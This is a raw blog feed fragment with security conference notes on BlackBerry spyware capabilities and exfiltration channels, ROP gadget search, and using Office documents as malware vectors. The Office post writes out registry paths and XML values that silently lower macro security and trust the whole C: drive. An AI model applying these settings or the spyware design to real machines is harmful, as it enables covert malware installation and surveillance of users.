/&gt;-KB05499: &lt;i&gt;Protecting the BlackBerry smartphoneand BlackBerry Enterprise Server against malware:&lt;/i&gt; http://www.blackberry.com/btsc/search.do?cmd=displayKC&amp;amp;docType=kc&amp;amp;externalId=KB05499&lt;br /&gt;-&lt;i&gt;Protecting the BlackBerry device platform against malware&lt;/i&gt;: http://docs.blackberry.com/en/admin/deliverables/1835/Protectingthe BlackBerry device platform against malware.pdf&lt;br /&gt;-&lt;i&gt;Placing the BlackBerry Enterprise Solution in a segmented network&lt;/i&gt;: http://docs.blackberry.com/en/admin/deliverables/1460/Placing_the_BlackBerry_Enterprise_Solution_in_a_Segmented_Network.pdf&lt;br /&gt;-&lt;i&gt;BlackBerry Enterprise Server Policy Reference Guide&lt;/i&gt;: http://docs.blackberry.com/en/admin/deliverables/7228/Policy_Reference_Guide.pdf&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Does It Really Matter?&lt;/b&gt;&lt;br /&gt;-Only 23% of smartphone owners use the security software installed on the devices.&lt;br /&gt;(&lt;i&gt;Source: Trend Micro Inc. survey of 1,016 U.S. smartphoneusers, June 2009&lt;/i&gt;)&lt;br /&gt;-13% of organizations currently protect from mobile viruses&lt;br /&gt;(&lt;i&gt;Mobile Security 2009 Survey by Goode Intelligence&lt;/i&gt;)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Code Signing&lt;/b&gt;&lt;br /&gt;-Subset of Blackberry API considered "controlled"&lt;br /&gt;-Use of controlled package, class, or method requires appropriate code signature&lt;br /&gt;-Blackberry Signature Tool comes with the Blackberry JDE&lt;br /&gt;-Acquire signing keys by filling out a web form and paying $20&lt;br /&gt;–This not is a high barrier to entry&lt;br /&gt;–48 hours later you receive signing keys&lt;br /&gt;-Install keys into signature tool&lt;br /&gt;-Hash of code sent to RIM for API tracking purposes only&lt;br /&gt;-RIM does not get source code&lt;br /&gt;-COD file is signed based on required keys&lt;br /&gt;-Application ready to be deployed&lt;br /&gt;-Easy to acquire anonymous keys&lt;br /&gt;&lt;br /&gt;&lt;b&gt;IT Policies&lt;/b&gt;&lt;br /&gt;-Requires connection to Blackberry Enterprise Server (BES)&lt;br /&gt;-Supersedes lower levels of security restrictions&lt;br /&gt;-Prevent devices from downloading third-party applications over wireless&lt;br /&gt;-Prevent installation of specific third-party applications&lt;br /&gt;-Control permissions of third party applications&lt;br /&gt;–Allow Internal Connections&lt;br /&gt;–Allow Third-Party Apps to Use Serial Port&lt;br /&gt;–Allow External Connections&lt;br /&gt;-MOSTLY "Default Allow All" policy for BES and non-BES devices&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Application Policies&lt;/b&gt;&lt;br /&gt;-Can be controlled at the BES&lt;br /&gt;-If no BES present, controls are set on the handheld itself&lt;br /&gt;-Can only be MORE restrictive than the IT policy, never less&lt;br /&gt;-Control individual resource access per application&lt;br /&gt;-Control individual connection access per application&lt;br /&gt;-MOSTLY "Default Allow All" policy for BES and non-BES devices&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Installation Files&lt;/b&gt;&lt;br /&gt;-.COD files:A COD file is a proprietary file format developed by RIM that contains compiled and packaged application code.&lt;br /&gt;-.JAD files:An application descriptor that stores information about the application itself and the location of .COD files&lt;br /&gt;-.JAR files:a JAR file (or Java ARchive) is used for aggregating many files into one. It is generally used to distribute Java classes and associated metadata.&lt;br /&gt;-.ALX files:Similar to the .JAD file, in that it holds information about where the installation files for the application are located&lt;br /&gt;&lt;br /&gt;&lt;b&gt;txsBBSpy Logging and Dumping&lt;/b&gt;&lt;br /&gt;-Monitor connected / disconnected calls&lt;br /&gt;-Monitor PIM added / removed / updated&lt;br /&gt;-Monitor inboundSMS&lt;br /&gt;-Monitor outbound SMS&lt;br /&gt;-Real Time trackGPS coordinates&lt;br /&gt;-Dump all contacts&lt;br /&gt;-Dump current location&lt;br /&gt;-Dump phone logs&lt;br /&gt;-Dumpemail&lt;br /&gt;-Dump microphone capture (security prompted)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;txsBBSpy Exfiltration and C&amp;amp;C Methods&lt;/b&gt;&lt;br /&gt;-SMS (No CDMA)&lt;br /&gt;-SMS Datagrams(Supports CDMA)&lt;br /&gt;-Email&lt;br /&gt;-HTTP GET&lt;br /&gt;-HTTP POST&lt;br /&gt;-TCP Socket&lt;br /&gt;-UDP Socket&lt;br /&gt;-Command and control hard codedto inbound SMS&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Future Work (Offensive AND Defensive)&lt;/b&gt;&lt;br /&gt;-Reverse engineer .cod file format&lt;br /&gt;-Continued research into unobstructed installation methods (requires exploitation)&lt;br /&gt;-Infect PC with virus that acts as distribution hub&lt;br /&gt;-Research additional exfiltration methods for tunneling without prompting&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-6828669543582510159?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/6828669543582510159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/6828669543582510159'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2011/06/advanced-mobile-spyware.html' title='Advanced Mobile Spyware'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-CaJS4Z0wtho/TflQ0G9IIzI/AAAAAAAAARY/KfCCjPNiDtk/s72-c/06-Jun-16-11-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-6647242016419904718</id><published>2011-06-14T20:09:00.000-04:30</published><updated>2011-06-14T20:09:42.906-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='ARM'/><category scheme='http://www.blogger.com/atom/ns#' term='ASLR'/><category scheme='http://www.blogger.com/atom/ns#' term='ret2lib exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='smashing the stack'/><category scheme='http://www.blogger.com/atom/ns#' term='AVC voting machine'/><category scheme='http://www.blogger.com/atom/ns#' term='DEPlib automatic instruction'/><category scheme='http://www.blogger.com/atom/ns#' term='non-executable memory'/><category scheme='http://www.blogger.com/atom/ns#' term='rop'/><category scheme='http://www.blogger.com/atom/ns#' term='return-oriented programming'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflows'/><category scheme='http://www.blogger.com/atom/ns#' term='ROP functions'/><title type='text'>Automated Independent Gadget Search</title><content type='html'>&lt;b&gt;Goal&lt;/b&gt;&lt;br /&gt;The goal of this research is to be able to use return-oriented programming platform independently across multiple platforms.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Motivation&lt;/b&gt;&lt;br /&gt;-CPU Architecture diversity is increasing.&lt;br /&gt;-We want to execute code on machines despite the presence of non-executable memory, but we do not aim for ASLR.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;History&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-MjOEANWVv_E/Tff6rHx9mSI/AAAAAAAAARM/_OSEinBfabA/s1600/05-Jun-15-11-pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="261" src="http://4.bp.blogspot.com/-MjOEANWVv_E/Tff6rHx9mSI/AAAAAAAAARM/_OSEinBfabA/s400/05-Jun-15-11-pic1.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Strategy&lt;/b&gt;&lt;br /&gt;-Use only already present code&lt;br /&gt;-No single instruction / return like approach&lt;br /&gt;-Use REIL to be platform independent&lt;br /&gt;-Use "free-branch" instructions rather than ret only&lt;br /&gt;-"Find all first, then filter useful ones" approach&lt;br /&gt;-Keep an eye on side-effects and minimize them&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Small RISC instruction set:&lt;/b&gt;&lt;br /&gt;-17 instructions for arithmetic, control flow and misc functionality&lt;br /&gt;-Instructions are always side-effect free&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Interpreter:&lt;/b&gt;&lt;br /&gt;-Virtually unlimited memory and temporary registers&lt;br /&gt;-Implemented as a register machine&lt;br /&gt;&lt;br /&gt;&lt;b&gt;No support for:&lt;/b&gt;&lt;br /&gt;-Exceptions, floating point instructions, 64Bit instructions yet&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Algorithms&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-wLTcvsf0DdE/Tff6uvQgksI/AAAAAAAAARU/uPIQt3O_gvI/s1600/05-Jun-15-11-pic2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-wLTcvsf0DdE/Tff6uvQgksI/AAAAAAAAARU/uPIQt3O_gvI/s320/05-Jun-15-11-pic2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Algorithms stage I&lt;/b&gt;&lt;br /&gt;Collect data from the binary:&lt;br /&gt;1.&lt;i&gt;Extract expression trees from native instructions&lt;/i&gt;&lt;br /&gt;-Handlers for each possible REIL instruction&lt;br /&gt;-Most of the handlers are simple transformations&lt;br /&gt;-Memory store and conditional execution need special treatment&lt;br /&gt;&lt;br /&gt;2.&lt;i&gt;Extract path information&lt;/i&gt;&lt;br /&gt;-Path is extracted in reverse control flow order&lt;br /&gt;-We want to have all possible outcomes for a conditional execution in a single expression tree&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Algorithms stage II&lt;/b&gt;&lt;br /&gt;Merge the collected data from stage I:&lt;br /&gt;1.&lt;i&gt;Combine the expression trees for single native instructions along a path&lt;/i&gt;&lt;br /&gt;&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  0x00000001 ADD R0, R1, R2  &lt;br /&gt;2:  0x00000002 STR R0, R4  &lt;br /&gt;3:  0x00000003 LDMFD SP! {R4,LR}  &lt;br /&gt;4:  0x00000004 BX LR  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;2.&lt;i&gt;Determine jump conditions on the path&lt;/i&gt;&lt;br /&gt;3.&lt;i&gt;Simplify the result&lt;/i&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-4V94LtHKwxg/Tff6uBMbGbI/AAAAAAAAARQ/Hch2tDbo4Us/s1600/05-Jun-15-11-pic3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="192" src="http://4.bp.blogspot.com/-4V94LtHKwxg/Tff6uBMbGbI/AAAAAAAAARQ/Hch2tDbo4Us/s400/05-Jun-15-11-pic3.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Algorithms stage III&lt;/b&gt;&lt;br /&gt;Goal of the stage III algorithms:&lt;br /&gt;-Search for useful gadgets in the merged data. Use a tree match handler for each operation.&lt;br /&gt;-Select the simplest gadget for each operation. Use a complexity value to determine the gadget which is least complex (side-effects).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Results&lt;/b&gt;&lt;br /&gt;-Algorithms for platform independent return-oriented programming are possible&lt;br /&gt;-We are able to find all necessary gadgets for return-oriented programming using our tool&lt;br /&gt;-Searching for gadgets is not only platform but also very compiler dependent&lt;br /&gt;-Minimizing side-effects is possible if the right approach is chosen&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Future work&lt;/b&gt;&lt;br /&gt;-Abstract gadget description language&lt;br /&gt;-Automatic gadget compiler for all platforms&lt;br /&gt;-Bring more platforms to REIL&lt;br /&gt;-Better understand the implications of different compilers&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-6647242016419904718?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/6647242016419904718'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/6647242016419904718'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2011/06/automated-independent-gadget-search.html' title='Automated Independent Gadget Search'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-MjOEANWVv_E/Tff6rHx9mSI/AAAAAAAAARM/_OSEinBfabA/s72-c/05-Jun-15-11-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-9165467525712031220</id><published>2011-04-24T20:18:00.000-04:30</published><updated>2011-04-24T20:18:54.393-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='cyber weapon'/><category scheme='http://www.blogger.com/atom/ns#' term='digital domination'/><category scheme='http://www.blogger.com/atom/ns#' term='trojan infected document'/><category scheme='http://www.blogger.com/atom/ns#' term='espionage office documents'/><category scheme='http://www.blogger.com/atom/ns#' term='office malware'/><category scheme='http://www.blogger.com/atom/ns#' term='office macro security'/><category scheme='http://www.blogger.com/atom/ns#' term='k-ary malware'/><category scheme='http://www.blogger.com/atom/ns#' term='malicious PDF'/><category scheme='http://www.blogger.com/atom/ns#' term='malicious office documents'/><category scheme='http://www.blogger.com/atom/ns#' term='cyberwarfare'/><title type='text'>Office Documents: New Cyber Weapons</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;b&gt;Reallity of cyberwarfare&lt;/b&gt;&lt;br /&gt;-August 2007: Espionage case of China against German chancelery. 163 Gb of Gouvernemental data stolen through a Trojan-infected Office document.&lt;br /&gt;-2009 to 2010: Chinese hackers succeeded in stealing economic and financial data from European Banks, through malicious PDFs.&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Document as cyberweapons&lt;/b&gt;&lt;br /&gt;-(Open)Office document are good vectors&lt;br /&gt;-PDF documents are also used nowadays&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The Cyberwarfare Show&lt;/b&gt;&lt;br /&gt;-PWN2KILL, May 2010 Paris, challenge has proved the risk is real and high.&lt;br /&gt;&lt;a href="http://www.esiea-recherche.eu/iawacs2010.html"&gt;http://www.esiea-recherche.eu/iawacs2010.html&lt;/a&gt;&lt;br /&gt;-Huge technical possibilities on one side, quite no protection and detection capability on the other side.&lt;br /&gt;-Many critical systems are rather secure with a strong security policy enforced.&lt;br /&gt;-Classical approaches are less and less possible, not say impossible.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Which applications are concerned?&lt;/b&gt;&lt;br /&gt;-Office 2010&lt;br /&gt;-OpenOffice 3.x&lt;br /&gt;-All other office applications&lt;br /&gt;&lt;br /&gt;&lt;b&gt;What is the Purpose?&lt;/b&gt;&lt;br /&gt;-To install malicious payload into the operating system, whithout being detected by any AV.&lt;br /&gt;-We do not want to exploit any vulnerability (target = secure sensitive systems e.g. combat systems).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Macro Security in MSO&lt;/b&gt;&lt;br /&gt;Possible level of security:&lt;br /&gt;Level 4 (0x00000004): Disable all macros without notification.&lt;br /&gt;Level 3 (0x00000002): Disable all macros with notifiation.&lt;br /&gt;Level 2 (0x00000003): Disable all macros except digitally signed macros.&lt;br /&gt;Level 1 (0x00000001): Enable all macros.&lt;br /&gt;&lt;br /&gt;Location of settings:&lt;br /&gt;Registery key : HKEY_CURRENT_USER\Software\Microsoft\Office\ 12.0\ &lt;application&gt; \Security&lt;br /&gt;Application = {Word, Excel, Powerpoint, Access}&lt;br /&gt;&lt;br /&gt;Trusted location:&lt;br /&gt;A trusted location is a directory where macros of documents stored inside are allowed to be executed automatically.&lt;/application&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Macro Security in OpenOffice&lt;/b&gt;&lt;br /&gt;Security settings:&lt;br /&gt;Both Macro security level and trusted location are defined in "Common.xcu" file at:&lt;br /&gt;Openoffice.org\3\user\registery\data\org\openoffice\Office&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  &amp;lt;node oor:name="Security"&amp;gt;  &lt;br /&gt;2:  &amp;lt;node oor:name="Scripting"&amp;gt;  &lt;br /&gt;3:  &amp;lt;prop oor:name="MacroSecurityLevel" oor:type="xs:int"&amp;gt;  &lt;br /&gt;4:  &amp;lt;value&amp;gt;0&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/node&amp;gt;&amp;lt;/node&amp;gt;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Trusted Location:&lt;br /&gt;Set the root directory as Trusted location&lt;br /&gt;&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  &amp;lt;node oor:name="Security"&amp;gt;  &lt;br /&gt;2:  &amp;lt;node oor:name="Scripting"&amp;gt;  &lt;br /&gt;3:  &amp;lt;prop oor:name="SecureURL" oor:type="oor:string-list"&amp;gt;  &lt;br /&gt;4:  &amp;lt;value&amp;gt;file:///C:/&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/node&amp;gt;&amp;lt;/node&amp;gt;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;The use of 'AutoExec' event with MSO:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;-Able to naturally bypass the level 2 of execution.&lt;br /&gt;-Several events are available: AutoNew, Open, Close, Exit, Exec&lt;br /&gt;-Applied on template named Normal.dotm and stored inside MSO's users settings file.&lt;br /&gt;-Execute the macro at opening event even if any macro are not allowed to be executed (Level 2).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MSO and OO: The integration&lt;/b&gt;&lt;br /&gt;-Both are based on the W3C specification. But the integration is totally different.&lt;br /&gt;&lt;br /&gt;MSO’s integration:&lt;br /&gt;-Office makes it easier to create signatures.&lt;br /&gt;-It is possible to create self-signed certificates.&lt;br /&gt;-They are stored inside _rel\.rel file within the document.&lt;br /&gt;&lt;br /&gt;Openoffice’s integration:&lt;br /&gt;No significant change about signature since 2006, the first study.&lt;br /&gt;Black Hat 2009, Amstersdam, E.Filiol J.-P. Fizaine, Openoffice v3.x Security Design Weaknesses.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MSO Case&lt;/b&gt;&lt;br /&gt;+Change to the lowest level: 0&lt;br /&gt;Interesting Keys: HKEY_CURRENT_USER&lt;br /&gt;Path: Software\\Microsoft\\Office\\12.0\\Word\\Security&lt;br /&gt;Windows API: RegOpenKeyEx, RegSetValueEx, RegCreateKeyEx, RegCloseKey&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-aQyucvV3kHI/TbTBfehykEI/AAAAAAAAARA/9PyoEsdvvuk/s1600/04-Apr-25-11-pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="84" src="http://3.bp.blogspot.com/-aQyucvV3kHI/TbTBfehykEI/AAAAAAAAARA/9PyoEsdvvuk/s320/04-Apr-25-11-pic1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;+Set the directory c:\Users as a Trusted Location.&lt;br /&gt;KEY: HKEY_CURRENT_USER&lt;br /&gt;Path: Software\\Microsoft\\Office\\12.0\\Word\\Security\\Trusted\\Locations&lt;br /&gt;Path2: Software\\Microsoft\\Office\\12.0\\Word\\Security\\Trusted\\Locations\\Location3&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-wsVXk85-Hfw/TbTBnesM3ZI/AAAAAAAAARE/m040gJvoDw8/s1600/04-Apr-25-11-pic2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="105" src="http://1.bp.blogspot.com/-wsVXk85-Hfw/TbTBnesM3ZI/AAAAAAAAARE/m040gJvoDw8/s320/04-Apr-25-11-pic2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-jL7J3p6AbLU/TbTBrlSKMCI/AAAAAAAAARI/3yoZXvgKO4A/s1600/04-Apr-25-11-pic3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="121" src="http://2.bp.blogspot.com/-jL7J3p6AbLU/TbTBrlSKMCI/AAAAAAAAARI/3yoZXvgKO4A/s320/04-Apr-25-11-pic3.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;OpenOffice Case&lt;/b&gt;&lt;br /&gt;+Change the Macro security level to the lowest: 0&lt;br /&gt;-Settings are stored in only one file! No use of specific library is needed, the C Standard Library is sufficient.&lt;br /&gt;-Forge the Path&lt;br /&gt;-Locate the position inside the file&lt;br /&gt;-Insert the value:&lt;br /&gt;&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  &amp;lt;node oor:name="Security"&amp;gt; &amp;lt;node oor:name="Scripting"&amp;gt;  &lt;br /&gt;2:  &amp;lt;prop oor:name="MacroSecurityLevel" oor:type="xs:int"&amp;gt;  &lt;br /&gt;3:  &amp;lt;value&amp;gt;0&amp;lt;/value&amp;gt; &amp;lt;/prop&amp;gt; &amp;lt;/node&amp;gt; &amp;lt;/node&amp;gt;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;-Update by restart the application&lt;br /&gt;&lt;br /&gt;+Trusted Locations&lt;br /&gt;-Insert the value:&lt;br /&gt;&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  &amp;lt;node oor:name="Security"&amp;gt; &amp;lt;node oor:name="Scripting"&amp;gt;  &lt;br /&gt;2:  &amp;lt;prop oor:name="SecureURL" oor:type="oor:string-list"&amp;gt;  &lt;br /&gt;3:  &amp;lt;value&amp;gt;file:///C:/&amp;lt;/value&amp;gt; &amp;lt;/prop&amp;gt; &amp;lt;/node&amp;gt; &amp;lt;/node&amp;gt;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;K-ary Malware&lt;/b&gt;&lt;br /&gt;Malware made of k-different, innocent-looking (from the AV point of view). Each of them can (inter)act independently or not and can either be executed in parallel or in sequential. Not all the parts are necessarily executable. The cumulative action of each part defines the malware action.&lt;br /&gt;&lt;blockquote&gt;Proof of Concept (PoC):&lt;br /&gt;E. Filiol, Journal in Computer Virology, 2007.&lt;br /&gt;Hack.lu 2009, A. Desnos, Implementation of K-ary viruses in Python.&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;Two waves of attack: The use of 2-ary malware&lt;/b&gt;&lt;br /&gt;Suppose the security level is set to the paranoid mode, it is impossible to change the level from inside the macro. &lt;br /&gt;&lt;blockquote&gt;Journal in Computer Virology, 2006, D. de Drézigué, J.- P. Fizaine, N. Hansma, In-depth Analysis of the Viral Threats with OpenOffice.org Documents&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;Why this approach?&lt;/b&gt;&lt;br /&gt;-Attacking (secure) systems becomes really complex. Just exploiting one or more vulnerability does no longer suffice. Installing a functionnally sophisticated program is less and less easy. The solution is to split the viral information into many pieces!&lt;br /&gt;-Real case: secure systems generally filter and forbid packed binaries/shellcodes.&lt;br /&gt;-Using 2-ary malware is a powerful alternative.&lt;br /&gt;-The first executable performs a innocent, generally legitimate simple action.&lt;br /&gt;-The office document then installs more complex malware transparently and silently.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Protection and Countermeasures&lt;/b&gt;&lt;br /&gt;-Use of Public Key Infrastructure&lt;br /&gt;-Whenever self-signed certificates are used. Check the serial number, timestamp and validity systematically. The serial number is supposed to be unique.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-9165467525712031220?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/9165467525712031220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/9165467525712031220'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2011/04/office-documents-new-cyber-weapons.html' title='Office Documents: New Cyber Weapons'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-aQyucvV3kHI/TbTBfehykEI/AAAAAAAAARA/9PyoEsdvvuk/s72-c/04-Apr-25-11-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-1375824329182073608</id><published>2011-04-06T19:29:00.000-04:30</published><updated>2011-04-06T19:29:44.101-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='credit card theft'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter accounts'/><category scheme='http://www.blogger.com/atom/ns#' term='online bank fraud'/><category scheme='http://www.blogger.com/atom/ns#' term='email attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='counterfeiting payment systems'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook accounts'/><category scheme='http://www.blogger.com/atom/ns#' term='counterfeited passport'/><category scheme='http://www.blogger.com/atom/ns#' term='social network threats'/><category scheme='http://www.blogger.com/atom/ns#' term='data stealing malware'/><title type='text'>The Black Market of your Digital Data Illustrated</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-l7hXtB43rWE/TZz6rTwBh9I/AAAAAAAAAQo/7B37x3tQgv0/s1600/03-Apr-07-11-pic4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="247" src="http://4.bp.blogspot.com/-l7hXtB43rWE/TZz6rTwBh9I/AAAAAAAAAQo/7B37x3tQgv0/s400/03-Apr-07-11-pic4.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-vIvn7CH3cUk/TZz6p38EAQI/AAAAAAAAAQc/ZD9fdvk0ppw/s1600/03-Apr-07-11-pic1.jpg" 